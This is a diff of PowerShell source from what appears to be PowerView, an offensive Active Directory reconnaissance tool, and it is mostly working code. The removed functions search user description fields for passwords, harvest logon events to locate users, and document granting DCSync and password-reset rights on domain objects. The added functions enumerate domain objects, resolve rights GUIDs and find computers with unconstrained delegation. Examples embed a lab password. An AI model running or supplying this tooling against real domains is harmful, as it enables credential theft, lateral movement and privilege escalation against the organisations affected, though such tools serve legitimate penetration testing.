+Specifies the domain to use for the query, defaults to the current domain.
- .PARAMETER ADSpath
+.PARAMETER Server
- The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
- Useful for OU queries.
+Specifies an Active Directory server (domain controller) to bind to.
- .PARAMETER Domain
+.PARAMETER ResultPageSize
- Domain to search computer fields for, defaults to the current domain.
+Specifies the PageSize to set for the LDAP searcher object.
- .PARAMETER DomainController
+.PARAMETER ServerTimeLimit
- Domain controller to reflect LDAP queries through.
+Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
- .PARAMETER PageSize
+.PARAMETER Credential
- The PageSize to set for the LDAP searcher object.
+A [Management.Automation.PSCredential] object of alternate credentials
+for connection to the target domain.
- .PARAMETER Credential
+.OUTPUTS
- A [Management.Automation.PSCredential] object of alternate credentials
- for connection to the target domain.
+Hashtable
- .EXAMPLE
+Ouputs a hashtable containing a GUID -> Readable Name mapping.
- PS C:\> Find-UserField -SearchField info -SearchTerm backup
+.LINK
- Find user accounts with "backup" in the "info" field.
+http://blogs.technet.com/b/ashleymcglone/archive/2013/03/25/active-directory-ou-permissions-report-free-powershell-script-download.aspx
#>
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
+ [OutputType([Hashtable])]
[CmdletBinding()]
- param(
- [Parameter(Position=0,ValueFromPipeline=$True)]
- [String]
- $SearchTerm = 'pass',
-
- [String]
- $SearchField = 'description',
-
- [String]
- $ADSpath,
-
+ Param (
+ [ValidateNotNullOrEmpty()]
[String]
$Domain,
+ [ValidateNotNullOrEmpty()]
+ [Alias('DomainController')]
[String]
- $DomainController,
+ $Server,
- [ValidateRange(1,10000)]
+ [ValidateRange(1, 10000)]
[Int]
- $PageSize = 200,
+ $ResultPageSize = 200,
+
+ [ValidateRange(1, 10000)]
+ [Int]
+ $ServerTimeLimit,
[Management.Automation.PSCredential]
- $Credential
+ [Management.Automation.CredentialAttribute()]
+ $Credential = [Management.Automation.PSCredential]::Empty
)
-
- Get-NetUser -ADSpath $ADSpath -Domain $Domain -DomainController $DomainController -Credential $Credential -Filter "($SearchField=*$SearchTerm*)" -PageSize $PageSize | Select-Object samaccountname,$SearchField
+
+ $GUIDs = @{'00000000-0000-0000-0000-000000000000' = 'All'}
+
+ $ForestArguments = @{}
+ if ($PSBoundParameters['Credential']) { $ForestArguments['Credential'] = $Credential }
+
+ try {
+ $SchemaPath = (Get-Forest @ForestArguments).schema.name
+ }
+ catch {
+ throw '[Get-DomainGUIDMap] Error in retrieving forest schema path from Get-Forest'
+ }
+ if (-not $SchemaPath) {
+ throw '[Get-DomainGUIDMap] Error in retrieving forest schema path from Get-Forest'
+ }
+
+ $SearcherArguments = @{
+ 'SearchBase' = $SchemaPath
+ 'LDAPFilter' = '(schemaIDGUID=*)'
+ }
+ if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
+ if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
+ if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
+ if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
+ if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
+ $SchemaSearcher = Get-DomainSearcher @SearcherArguments
+
+ if ($SchemaSearcher) {
+ try {
+ $Results = $SchemaSearcher.FindAll()
+ $Results | Where-Object {$_} | ForEach-Object {
+ $GUIDs[(New-Object Guid (,$_.properties.schemaidguid[0])).Guid] = $_.properties.name[0]
+ }
+ if ($Results) {
+ try { $Results.dispose() }
+ catch {
+ Write-Verbose "[Get-DomainGUIDMap] Error disposing of the Results object: $_"
+ }
+ }
+ $SchemaSearcher.dispose()
+ }
+ catch {
+ Write-Verbose "[Get-DomainGUIDMap] Error in building GUID map: $_"
+ }
+ }
+
+ $SearcherArguments['SearchBase'] = $SchemaPath.replace('Schema','Extended-Rights')
+ $SearcherArguments['LDAPFilter'] = '(objectClass=controlAccessRight)'
+ $RightsSearcher = Get-DomainSearcher @SearcherArguments
+
+ if ($RightsSearcher) {
+ try {
+ $Results = $RightsSearcher.FindAll()
+ $Results | Where-Object {$_} | ForEach-Object {
+ $GUIDs[$_.properties.rightsguid[0].toString()] = $_.properties.name[0]
+ }
+ if ($Results) {
+ try { $Results.dispose() }
+ catch {
+ Write-Verbose "[Get-DomainGUIDMap] Error disposing of the Results object: $_"
+ }
+ }
+ $RightsSearcher.dispose()
+ }
+ catch {
+ Write-Verbose "[Get-DomainGUIDMap] Error in building GUID map: $_"
+ }
+ }
+
+ $GUIDs
}
-filter Get-UserEvent {
+function Get-DomainComputer {
<#
- .SYNOPSIS
+.SYNOPSIS
- Dump and parse security events relating to an account logon (ID 4624)
- or a TGT request event (ID 4768). Intended to be used and tested on
- Windows 2008 Domain Controllers.
- Admin Reqd? YES
+Return all computers or specific computer objects in AD.
- Author: @sixdub
+Author: Will Schroeder (@harmj0y)
+License: BSD 3-Clause
+Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty
- .PARAMETER ComputerName
+.DESCRIPTION
- The computer to get events from. Default: Localhost
+Builds a directory searcher object using Get-DomainSearcher, builds a custom
+LDAP filter based on targeting/filter parameters, and searches for all objects
+matching the criteria. To only return specific properties, use
+"-Properties samaccountname,usnchanged,...". By default, all computer objects for
+the current domain are returned.
- .PARAMETER EventType
+.PARAMETER Identity
- Either 'logon', 'tgt', or 'all'. Defaults: 'logon'
+A SamAccountName (e.g. WINDOWS10$), DistinguishedName (e.g. CN=WINDOWS10,CN=Computers,DC=testlab,DC=local),
+SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1124), GUID (e.g. 4f16b6bc-7010-4cbf-b628-f3cfe20f6994),
+or a dns host name (e.g. windows10.testlab.local). Wildcards accepted.
- .PARAMETER DateStart
+.PARAMETER Unconstrained
- Filter out all events before this date. Default: 5 days
+Switch. Return computer objects that have unconstrained delegation.
- .PARAMETER Credential
+.PARAMETER TrustedToAuth
- A [Management.Automation.PSCredential] object of alternate credentials
- for connection to the target domain.
+Switch. Return computer objects that are trusted to authenticate for other principals.
- .EXAMPLE
+.PARAMETER Printers
- PS C:\> Get-UserEvent -ComputerName DomainController.testlab.local
+Switch. Return only printers.
- .LINK
+.PARAMETER SPN
- http://www.sixdub.net/2014/11/07/offensive-event-parsing-bringing-home-trophies/
-#>
+Return computers with a specific service principal name, wildcards accepted.
- Param(
- [Parameter(ValueFromPipeline=$True)]
- [String]
- $ComputerName = $Env:ComputerName,
+.PARAMETER OperatingSystem
- [String]
- [ValidateSet("logon","tgt","all")]
- $EventType = "logon",
+Return computers with a specific operating system, wildcards accepted.
- [DateTime]
- $DateStart = [DateTime]::Today.AddDays(-5),
+.PARAMETER ServicePack
- [Management.Automation.PSCredential]
- $Credential
- )
+Return computers with a specific service pack, wildcards accepted.
- if($EventType.ToLower() -like "logon") {
- [Int32[]]$ID = @(4624)
- }
- elseif($EventType.ToLower() -like "tgt") {
- [Int32[]]$ID = @(4768)
- }
- else {
- [Int32[]]$ID = @(4624, 4768)
- }
+.PARAMETER SiteName
- if($Credential) {
- Write-Verbose "Using alternative credentials"
- $Arguments = @{
- 'ComputerName' = $ComputerName;
- 'Credential' = $Credential;
- 'FilterHashTable' = @{ LogName = 'Security'; ID=$ID; StartTime=$DateStart};
- 'ErrorAction' = 'SilentlyContinue';
- }
- }
- else {
- $Arguments = @{
- 'ComputerName' = $ComputerName;
- 'FilterHashTable' = @{ LogName = 'Security'; ID=$ID; StartTime=$DateStart};
- 'ErrorAction' = 'SilentlyContinue';
- }
- }
+Return computers in the specific AD Site name, wildcards accepted.
- # grab all events matching our filter for the specified host
- Get-WinEvent @Arguments | ForEach-Object {
+.PARAMETER Ping
- if($ID -contains 4624) {
- # first parse and check the logon event type. This could be later adapted and tested for RDP logons (type 10)
- if($_.message -match '(?s)(?<=Logon Type:).*?(?=(Impersonation Level:|New Logon:))') {
- if($Matches) {
- $LogonType = $Matches[0].trim()
- $Matches = $Null
- }
- }
- else {
- $LogonType = ""
- }
+Switch. Ping each host to ensure it's up before enumerating.
- # interactive logons or domain logons
- if (($LogonType -eq 2) -or ($LogonType -eq 3)) {
- try {
- # parse and store the account used and the address they came from
- if($_.message -match '(?s)(?<=New Logon:).*?(?=Process Information:)') {
- if($Matches) {
- $UserName = $Matches[0].split("`n")[2].split(":")[1].trim()
- $Domain = $Matches[0].split("`n")[3].split(":")[1].trim()
- $Matches = $Null
- }
- }
- if($_.message -match '(?s)(?<=Network Information:).*?(?=Source Port:)') {
- if($Matches) {
- $Address = $Matches[0].split("`n")[2].split(":")[1].trim()
- $Matches = $Null
- }
- }
+.PARAMETER Domain
- # only add if there was account information not for a machine or anonymous logon
- if ($UserName -and (-not $UserName.endsWith('$')) -and ($UserName -ne 'ANONYMOUS LOGON')) {
- $LogonEventProperties = @{
- 'Domain' = $Domain
- 'ComputerName' = $ComputerName
- 'Username' = $UserName
- 'Address' = $Address
- 'ID' = '4624'
- 'LogonType' = $LogonType
- 'Time' = $_.TimeCreated
- }
- New-Object -TypeName PSObject -Property $LogonEventProperties
- }
- }
- catch {
- Write-Verbose "Error parsing event logs: $_"
- }
- }
- }
- if($ID -contains 4768) {
- # the TGT event type
- try {
- if($_.message -match '(?s)(?<=Account Information:).*?(?=Service Information:)') {
- if($Matches) {
- $Username = $Matches[0].split("`n")[1].split(":")[1].trim()
- $Domain = $Matches[0].split("`n")[2].split(":")[1].trim()
- $Matches = $Null
- }
- }
+Specifies the domain to use for the query, defaults to the current domain.
- if($_.message -match '(?s)(?<=Network Information:).*?(?=Additional Information:)') {
- if($Matches) {
- $Address = $Matches[0].split("`n")[1].split(":")[-1].trim()
- $Matches = $Null
- }
- }
+.PARAMETER LDAPFilter
- $LogonEventProperties = @{
- 'Domain' = $Domain
- 'ComputerName' = $ComputerName
- 'Username' = $UserName
- 'Address' = $Address
- 'ID' = '4768'
- 'LogonType' = ''
- 'Time' = $_.TimeCreated
- }
+Specifies an LDAP query string that is used to filter Active Directory objects.
- New-Object -TypeName PSObject -Property $LogonEventProperties
- }
- catch {
- Write-Verbose "Error parsing event logs: $_"
- }
- }
- }
-}
+.PARAMETER Properties
+Specifies the properties of the output object to retrieve from the server.
-function Get-ObjectAcl {
-<#
- .SYNOPSIS
- Returns the ACLs associated with a specific active directory object.
+.PARAMETER SearchBase
- Thanks Sean Metcalf (@pyrotek3) for the idea and guidance.
+The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
+Useful for OU queries.
- .PARAMETER SamAccountName
+.PARAMETER Server
- Object name to filter for.
+Specifies an Active Directory server (domain controller) to bind to.
- .PARAMETER Name
+.PARAMETER SearchScope
- Object name to filter for.
+Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
- .PARAMETER DistinguishedName
+.PARAMETER ResultPageSize
- Object distinguished name to filter for.
+Specifies the PageSize to set for the LDAP searcher object.
- .PARAMETER ResolveGUIDs
+.PARAMETER ServerTimeLimit
- Switch. Resolve GUIDs to their display names.
+Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
- .PARAMETER Filter
+.PARAMETER SecurityMasks
- A customized ldap filter string to use, e.g. "(description=*admin*)"
-
- .PARAMETER ADSpath
+Specifies an option for examining security information of a directory object.
+One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
- The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
- Useful for OU queries.
+.PARAMETER Tombstone
- .PARAMETER ADSprefix
+Switch. Specifies that the searcher should also return deleted/tombstoned objects.
- Prefix to set for the searcher (like "CN=Sites,CN=Configuration")
+.PARAMETER FindOne
- .PARAMETER RightsFilter
+Only return one result object.
- Only return results with the associated rights, "All", "ResetPassword","WriteMembers"
+.PARAMETER Credential
- .PARAMETER Domain
+A [Management.Automation.PSCredential] object of alternate credentials
+for connection to the target domain.
- The domain to use for the query, defaults to the current domain.
+.PARAMETER Raw
- .PARAMETER DomainController
+Switch. Return raw results instead of translating the fields into a custom PSObject.
- Domain controller to reflect LDAP queries through.
+.EXAMPLE
- .PARAMETER PageSize
+Get-DomainComputer
- The PageSize to set for the LDAP searcher object.
+Returns the current computers in current domain.
- .EXAMPLE
+.EXAMPLE
- PS C:\> Get-ObjectAcl -SamAccountName matt.admin -domain testlab.local
-
- Get the ACLs for the matt.admin user in the testlab.local domain
+Get-DomainComputer -SPN mssql* -Domain testlab.local
- .EXAMPLE
+Returns all MS SQL servers in the testlab.local domain.
- PS C:\> Get-ObjectAcl -SamAccountName matt.admin -domain testlab.local -ResolveGUIDs
-
- Get the ACLs for the matt.admin user in the testlab.local domain and
- resolve relevant GUIDs to their display names.
+.EXAMPLE
- .EXAMPLE
+Get-DomainComputer -SearchBase "LDAP://OU=secret,DC=testlab,DC=local" -Unconstrained
- PS C:\> Get-NetOU -FullData | Get-ObjectAcl -ResolveGUIDs
+Search the specified OU for computeres that allow unconstrained delegation.
- Enumerate the ACL permissions for all OUs in the domain.
+.EXAMPLE
+
+$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
+Get-DomainComputer -Credential $Cred
+
+.OUTPUTS
+
+PowerView.Computer
+
+Custom PSObject with translated computer property fields.
+
+PowerView.Computer.Raw
+
+The raw DirectoryServices.SearchResult object, if -Raw is enabled.
#>
+ [OutputType('PowerView.Computer')]
+ [OutputType('PowerView.Computer.Raw')]
[CmdletBinding()]
Param (
- [Parameter(ValueFromPipelineByPropertyName=$True)]
+ [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
+ [Alias('SamAccountName', 'Name', 'DNSHostName')]
+ [String[]]
+ $Identity,
+
+ [Switch]
+ $Unconstrained,
+
+ [Switch]
+ $TrustedToAuth,
+
+ [Switch]
+ $Printers,
+
+ [ValidateNotNullOrEmpty()]
+ [Alias('ServicePrincipalName')]
[String]
- $SamAccountName,
+ $SPN,
- [Parameter(ValueFromPipelineByPropertyName=$True)]
+ [ValidateNotNullOrEmpty()]
[String]
- $Name = "*",
+ $OperatingSystem,
- [Parameter(ValueFromPipelineByPropertyName=$True)]
+ [ValidateNotNullOrEmpty()]
[String]
- $DistinguishedName = "*",
+ $ServicePack,
+
+ [ValidateNotNullOrEmpty()]
+ [String]
+ $SiteName,
[Switch]
- $ResolveGUIDs,
+ $Ping,
+ [ValidateNotNullOrEmpty()]
[String]
- $Filter,
+ $Domain,
+ [ValidateNotNullOrEmpty()]
+ [Alias('Filter')]
[String]
- $ADSpath,
+ $LDAPFilter,
- [String]
- $ADSprefix,
+ [ValidateNotNullOrEmpty()]
+ [String[]]
+ $Properties,
+ [ValidateNotNullOrEmpty()]
+ [Alias('ADSPath')]
[String]
- [ValidateSet("All","ResetPassword","WriteMembers")]
- $RightsFilter,
+ $SearchBase,
+ [ValidateNotNullOrEmpty()]
+ [Alias('DomainController')]
[String]
- $Domain,
+ $Server,
+ [ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
- $DomainController,
+ $SearchScope = 'Subtree',
- [ValidateRange(1,10000)]
+ [ValidateRange(1, 10000)]
[Int]
- $PageSize = 200
- )
+ $ResultPageSize = 200,
+
+ [ValidateRange(1, 10000)]
+ [Int]
+ $ServerTimeLimit,
- begin {
- $Searcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -ADSprefix $ADSprefix -PageSize $PageSize
+ [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
+ [String]
+ $SecurityMasks,
- # get a GUID -> name mapping
- if($ResolveGUIDs) {
- $GUIDs = Get-GUIDMap -Domain $Domain -DomainController $DomainController -PageSize $PageSize
- }
+ [Switch]
+ $Tombstone,
+
+ [Alias('ReturnOne')]
+ [Switch]
+ $FindOne,
+
+ [Management.Automation.PSCredential]
+ [Management.Automation.CredentialAttribute()]
+ $Credential = [Management.Automation.PSCredential]::Empty,
+
+ [Switch]
+ $Raw
+ )
+
+ BEGIN {
+ $SearcherArguments = @{}
+ if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
+ if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
+ if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
+ if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
+ if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
+ if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
+ if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
+ if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
+ if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
+ if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
+ $CompSearcher = Get-DomainSearcher @SearcherArguments
}
- process {
+ PROCESS {
+ if ($CompSearcher) {
- if ($Searcher) {
+ $IdentityFilter = ''
+ $Filter = ''
+ $Identity | Where-Object {$_} | ForEach-Object {
+ $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
+ if ($IdentityInstance -match '^S-1-') {
+ $IdentityFilter += "(objectsid=$IdentityInstance)"
+ }
+ elseif ($IdentityInstance -match '^CN=') {
+ $IdentityFilter += "(distinguishedname=$IdentityInstance)"
+ }
+ elseif ($IdentityInstance.Contains('.')) {
+ $IdentityFilter += "(|(name=$IdentityInstance)(dnshostname=$IdentityInstance))"
+ }
+ elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') {
+ $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join ''
+ $IdentityFilter += "(objectguid=$GuidByteString)"
+ }
+ else {
+ $IdentityFilter += "(name=$IdentityInstance)"
+ }
+ }
+ if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
+ $Filter += "(|$IdentityFilter)"
+ }
- if($SamAccountName) {
- $Searcher.filter="(&(samaccountname=$SamAccountName)(name=$Name)(distinguishedname=$DistinguishedName)$Filter)"
+ if ($PSBoundParameters['Unconstrained']) {
+ Write-Verbose '[Get-DomainComputer] Searching for computers with for unconstrained delegation'
+ $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=524288)'
}
- else {
- $Searcher.filter="(&(name=$Name)(distinguishedname=$DistinguishedName)$Filter)"
+ if ($PSBoundParameters['TrustedToAuth']) {
+ Write-Verbose '[Get-DomainComputer] Searching for computers that are trusted to authenticate for other principals'
+ $Filter += '(msds-allowedtodelegateto=*)'
+ }
+ if ($PSBoundParameters['Printers']) {
+ Write-Verbose '[Get-DomainComputer] Searching for printers'
+ $Filter += '(objectCategory=printQueue)'
+ }
+ if ($PSBoundParameters['SPN']) {
+ Write-Verbose "[Get-DomainComputer] Searching for computers with SPN: $SPN"
+ $Filter += "(servicePrincipalName=$SPN)"
+ }
+ if ($PSBoundParameters['OperatingSystem']) {
+ Write-Verbose "[Get-DomainComputer] Searching for computers with operating system: $OperatingSystem"
+ $Filter += "(operatingsystem=$OperatingSystem)"
+ }
+ if ($PSBoundParameters['ServicePack']) {
+ Write-Verbose "[Get-DomainComputer] Searching for computers with service pack: $ServicePack"
+ $Filter += "(operatingsystemservicepack=$ServicePack)"
+ }
+ if ($PSBoundParameters['SiteName']) {
+ Write-Verbose "[Get-DomainComputer] Searching for computers with site name: $SiteName"
+ $Filter += "(serverreferencebl=$SiteName)"
+ }
+ if ($PSBoundParameters['LDAPFilter']) {
+ Write-Verbose "[Get-DomainComputer] Using additional LDAP filter: $LDAPFilter"
+ $Filter += "$LDAPFilter"
}
-
- try {
- $Results = $Searcher.FindAll()
- $Results | Where-Object {$_} | ForEach-Object {
- $Object = [adsi]($_.path)
- if($Object.distinguishedname) {
- $Access = $Object.PsBase.ObjectSecurity.access
- $Access | ForEach-Object {
- $_ | Add-Member NoteProperty 'ObjectDN' $Object.distinguishedname[0]
+ $CompSearcher.filter = "(&(samAccountType=805306369)$Filter)"
+ Write-Verbose "[Get-DomainComputer] Get-DomainComputer filter string: $($CompSearcher.filter)"
- if($Object.objectsid[0]){
- $S = (New-Object System.Security.Principal.SecurityIdentifier($Object.objectsid[0],0)).Value
- }
- else {
- $S = $Null
- }
-
- $_ | Add-Member NoteProperty 'ObjectSID' $S
- $_
- }
- }
- } | ForEach-Object {
- if($RightsFilter) {
- $GuidFilter = Switch ($RightsFilter) {
- "ResetPassword" { "00299570-246d-11d0-a768-00aa006e0529" }
- "WriteMembers" { "bf9679c0-0de6-11d0-a285-00aa003049e2" }
- Default { "00000000-0000-0000-0000-000000000000"}
- }
- if($_.ObjectType -eq $GuidFilter) { $_ }
+ if ($PSBoundParameters['FindOne']) { $Results = $CompSearcher.FindOne() }
+ else { $Results = $CompSearcher.FindAll() }
+ $Results | Where-Object {$_} | ForEach-Object {
+ $Up = $True
+ if ($PSBoundParameters['Ping']) {
+ $Up = Test-Connection -Count 1 -Quiet -ComputerName $_.properties.dnshostname
+ }
+ if ($Up) {
+ if ($PSBoundParameters['Raw']) {
+ # return raw result objects
+ $Computer = $_
+ $Computer.PSObject.TypeNames.Insert(0, 'PowerView.Computer.Raw')
}
else {
- $_
+ $Computer = Convert-LDAPProperty -Properties $_.Properties
+ $Computer.PSObject.TypeNames.Insert(0, 'PowerView.Computer')
}
- } | ForEach-Object {
- if($GUIDs) {
- # if we're resolving GUIDs, map them them to the resolved hash table
- $AclProperties = @{}
- $_.psobject.properties | ForEach-Object {
- if( ($_.Name -eq 'ObjectType') -or ($_.Name -eq 'InheritedObjectType') ) {
- try {
- $AclProperties[$_.Name] = $GUIDS[$_.Value.toString()]
- }
- catch {
- $AclProperties[$_.Name] = $_.Value
- }
- }
- else {
- $AclProperties[$_.Name] = $_.Value
- }
- }
- New-Object -TypeName PSObject -Property $AclProperties
- }
- else { $_ }
+ $Computer
}
- $Results.dispose()
- $Searcher.dispose()
}
- catch {
- Write-Warning $_
+ if ($Results) {
+ try { $Results.dispose() }
+ catch {
+ Write-Verbose "[Get-DomainComputer] Error disposing of the Results object: $_"
+ }
}
+ $CompSearcher.dispose()
}
}
}
-function Add-ObjectAcl {
+function Get-DomainObject {
<#
- .SYNOPSIS
+.SYNOPSIS
- Adds an ACL for a specific active directory object.
-
- AdminSDHolder ACL approach from Sean Metcalf (@pyrotek3)
- https://adsecurity.org/?p=1906
+Return all (or specified) domain objects in AD.
- ACE setting method adapted from https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects.
+Author: Will Schroeder (@harmj0y)
+License: BSD 3-Clause
+Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty, Convert-ADName
- 'ResetPassword' doesn't need to know the user's current password
- 'WriteMembers' allows for the modification of group membership
+.DESCRIPTION
- .PARAMETER TargetSamAccountName
+Builds a directory searcher object using Get-DomainSearcher, builds a custom
+LDAP filter based on targeting/filter parameters, and searches for all objects
+matching the criteria. To only return specific properties, use
+"-Properties samaccountname,usnchanged,...". By default, all objects for
+the current domain are returned.
- Target object name to filter for.
+.PARAMETER Identity
- .PARAMETER TargetName
+A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
+SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201).
+Wildcards accepted.
- Target object name to filter for.
+.PARAMETER Domain
- .PARAMETER TargetDistinguishedName
+Specifies the domain to use for the query, defaults to the current domain.
- Target object distinguished name to filter for.
+.PARAMETER LDAPFilter
- .PARAMETER TargetFilter
+Specifies an LDAP query string that is used to filter Active Directory objects.
- A customized ldap filter string to use to find a target, e.g. "(description=*admin*)"
+.PARAMETER Properties
- .PARAMETER TargetADSpath
+Specifies the properties of the output object to retrieve from the server.
- The LDAP source for the target, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
+.PARAMETER SearchBase
- .PARAMETER TargetADSprefix
+The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
+Useful for OU queries.
- Prefix to set for the target searcher (like "CN=Sites,CN=Configuration")
+.PARAMETER Server
- .PARAMETER PrincipalSID
+Specifies an Active Directory server (domain controller) to bind to.
- The SID of the principal object to add for access.
+.PARAMETER SearchScope
- .PARAMETER PrincipalName
+Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
- The name of the principal object to add for access.
+.PARAMETER ResultPageSize
- .PARAMETER PrincipalSamAccountName
+Specifies the PageSize to set for the LDAP searcher object.
- The samAccountName of the principal object to add for access.
+.PARAMETER ServerTimeLimit
- .PARAMETER Rights
+Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
- Rights to add for the principal, "All","ResetPassword","WriteMembers","DCSync"
+.PARAMETER SecurityMasks
- .PARAMETER Domain
+Specifies an option for examining security information of a directory object.
+One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
- The domain to use for the target query, defaults to the current domain.
+.PARAMETER Tombstone
- .PARAMETER DomainController
+Switch. Specifies that the searcher should also return deleted/tombstoned objects.
- Domain controller to reflect LDAP queries through.
+.PARAMETER FindOne
- .PARAMETER PageSize
+Only return one result object.
- The PageSize to set for the LDAP searcher object.
+.PARAMETER Credential
- .EXAMPLE
+A [Management.Automation.PSCredential] object of alternate credentials
+for connection to the target domain.
- Add-ObjectAcl -TargetSamAccountName matt -PrincipalSamAccountName john
+.PARAMETER Raw
- Grants 'john' all full access rights to the 'matt' account.
+Switch. Return raw results instead of translating the fields into a custom PSObject.
- .EXAMPLE
+.EXAMPLE
- Add-ObjectAcl -TargetSamAccountName matt -PrincipalSamAccountName john -Rights ResetPassword
+Get-DomainObject -Domain testlab.local
- Grants 'john' the right to reset the password for the 'matt' account.
+Return all objects for the testlab.local domain
- .LINK
+.EXAMPLE
- https://adsecurity.org/?p=1906
-
- https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects?forum=winserverpowershell
-#>
+'S-1-5-21-890171859-3433809279-3366196753-1003', 'CN=dfm,CN=Users,DC=testlab,DC=local','b6a9a2fb-bbd5-4f28-9a09-23213cea6693','dfm.a' | Get-DomainObject -Properties distinguishedname
- [CmdletBinding()]
- Param (
- [String]
- $TargetSamAccountName,
+distinguishedname
+-----------------
+CN=PRIMARY,OU=Domain Controllers,DC=testlab,DC=local
+CN=dfm,CN=Users,DC=testlab,DC=local
+OU=OU3,DC=testlab,DC=local
+CN=dfm (admin),CN=Users,DC=testlab,DC=local
- [String]
- $TargetName = "*",
+.EXAMPLE
- [Alias('DN')]
- [String]
- $TargetDistinguishedName = "*",
+$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
+Get-DomainObject -Credential $Cred -Identity 'windows1'
- [String]
- $TargetFilter,
+.EXAMPLE
- [String]
- $TargetADSpath,
+Get-Domain | Select-Object -Expand name
+testlab.local
- [String]
- $TargetADSprefix,
+'testlab\harmj0y','DEV\Domain Admins' | Get-DomainObject -Verbose -Properties distinguishedname
+VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
+VERBOSE: [Get-DomainUser] Extracted domain 'testlab.local' from 'testlab\harmj0y'
+VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
+VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(samAccountName=harmj0y)))
- [String]
- [ValidatePattern('^S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+')]
- $PrincipalSID,
+distinguishedname
+-----------------
+CN=harmj0y,CN=Users,DC=testlab,DC=local
+VERBOSE: [Get-DomainUser] Extracted domain 'dev.testlab.local' from 'DEV\Domain Admins'
+VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local
+VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(samAccountName=Domain Admins)))
+CN=Domain Admins,CN=Users,DC=dev,DC=testlab,DC=local
- [String]
- $PrincipalName,
+.OUTPUTS
+
+PowerView.ADObject
+
+Custom PSObject with translated AD object property fields.
+
+PowerView.ADObject.Raw
+The raw DirectoryServices.SearchResult object, if -Raw is enabled.
+#>
+
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
+ [OutputType('PowerView.ADObject')]
+ [OutputType('PowerView.ADObject.Raw')]
+ [CmdletBinding()]
+ Param(
+ [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
+ [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')]
+ [String[]]
+ $Identity,
+
+ [ValidateNotNullOrEmpty()]
[String]
- $PrincipalSamAccountName,
+ $Domain,
+ [ValidateNotNullOrEmpty()]
+ [Alias('Filter')]
[String]
- [ValidateSet("All","ResetPassword","WriteMembers","DCSync")]
- $Rights = "All",
+ $LDAPFilter,
+
+ [ValidateNotNullOrEmpty()]
+ [String[]]
+ $Properties,
+ [ValidateNotNullOrEmpty()]
+ [Alias('ADSPath')]
[String]
- $RightsGUID,
+ $SearchBase,
